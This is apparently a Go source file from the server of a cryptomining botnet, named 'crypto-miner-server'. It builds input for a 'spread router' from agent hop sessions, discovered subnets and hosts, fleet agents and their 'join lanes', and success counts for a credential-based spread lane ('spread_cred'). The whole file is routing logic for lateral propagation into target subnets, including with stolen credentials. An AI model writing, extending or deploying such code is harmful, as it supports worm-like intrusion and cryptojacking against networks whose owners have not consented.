package api import ( "strings" "crypto-miner-server/internal/clearance" "crypto-miner-server/internal/spreadrouter" ) // buildSpreadRouterInput assembles routing context from Path Tracer sessions and fleet state. func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets []string, requestedLane string) spreadrouter.Input { in := spreadrouter.Input{ TargetSubnets: targetSubnets, RequestedLane: strings.TrimSpace(requestedLane), } if hub == nil { return in } for _, sess := range sessions { if sess == nil { continue } snap := spreadrouter.SessionSnapshot{SessionID: sess.ID} for i, hop := range sess.Hops { if hop == nil { continue } subnet := spreadrouter.SubnetFromIP(hop.ExternalIP) if subnet == "" && hub.db != nil { if ag, err := hub.db.GetAgent(hop.AgentID); err == nil && ag != nil { subnet = spreadrouter.SubnetFromIP(ag.IP) } } snap.Hops = append(snap.Hops, spreadrouter.HopSnapshot{ AgentID: hop.AgentID, AgentName: hop.AgentName, Subnet: subnet, SessionID: sess.ID, HopIndex: i, Connected: hub.isAgentConnected(hop.AgentID), }) } for _, host := range serviceGraphList(sess.ServiceGraph) { sub := spreadrouter.NormalizeSubnet(host.Subnet) if sub == "" { sub = spreadrouter.SubnetFromIP(host.Host) } if sub == "" { continue } agentID := strings.TrimSpace(host.AgentID) if agentID == "" && len(snap.Hops) > 0 { agentID = snap.Hops[len(snap.Hops)-1].AgentID } snap.Discoveries = append(snap.Discoveries, spreadrouter.SubnetDiscovery{ Subnet: sub, AgentID: agentID, Hosts: []string{host.Host}, }) } in.Sessions = append(in.Sessions, snap) } hub.mu.RLock() connected := make([]string, 0, len(hub.agents)) for id, conn := range hub.agents { if conn == nil { continue } connected = append(connected, id) } hub.mu.RUnlock() for _, id := range connected { if hub.db == nil { continue } ag, err := hub.db.GetAgent(id) if err != nil || ag == nil { continue } latency := 0 if ag.LatencyMs != nil { latency = *ag.LatencyMs } clearanceLevel := clearance.L0 if hub.clearance != nil { clearanceLevel = hub.clearance.Level(id) } in.FleetAgents = append(in.FleetAgents, spreadrouter.FleetAgentSnapshot{ AgentID: id, AgentName: ag.Name, Subnet: spreadrouter.SubnetFromIP(ag.IP), Clearance: clearanceLevel, LatencyMs: latency, JoinLane: strings.TrimSpace(ag.JoinLane), Connected: true, }) } in.LaneSuccess = collectLaneSuccessStats(hub) return in } func collectLaneSuccessStats(hub *WSHub) []spreadrouter.LaneSuccessStat { if hub == nil { return nil } type key struct { subnet string lane string } counts := make(map[key]int) hub.mu.RLock() connected := make([]string, 0, len(hub.agents)) for id, conn := range hub.agents { if conn == nil { continue } connected = append(connected, id) } hub.mu.RUnlock() for _, id := range connected { if hub.db == nil { continue } ag, err := hub.db.GetAgent(id) if err != nil || ag == nil { continue } lane := strings.TrimSpace(ag.JoinLane) if lane == "" { continue } sub := spreadrouter.SubnetFromIP(ag.IP) if sub == "" { continue } counts[key{subnet: sub, lane: lane}]++ } if hub.db != nil { if rows, err := hub.db.ListCredGraphBySubnet(); err == nil { for _, row := range rows { if row.SuccessCount <= 0 { continue } sub := spreadrouter.NormalizeSubnet(row.Subnet) counts[key{subnet: sub, lane: "spread_cred"}] += row.SuccessCount } } } var out []spreadrouter.LaneSuccessStat for k, n := range counts { out = append(out, spreadrouter.LaneSuccessStat{ Subnet: k.subnet, JoinLane: k.lane, Success: n, }) } return out } func traceSessionsSnapshot(handler *PathTracerHandler) []*TraceSession { if handler == nil { return nil } handler.mu.Lock() defer handler.mu.Unlock() out := make([]*TraceSession, 0, len(handler.sessions)) for _, sess := range handler.sessions { out = append(out, sess) } return out }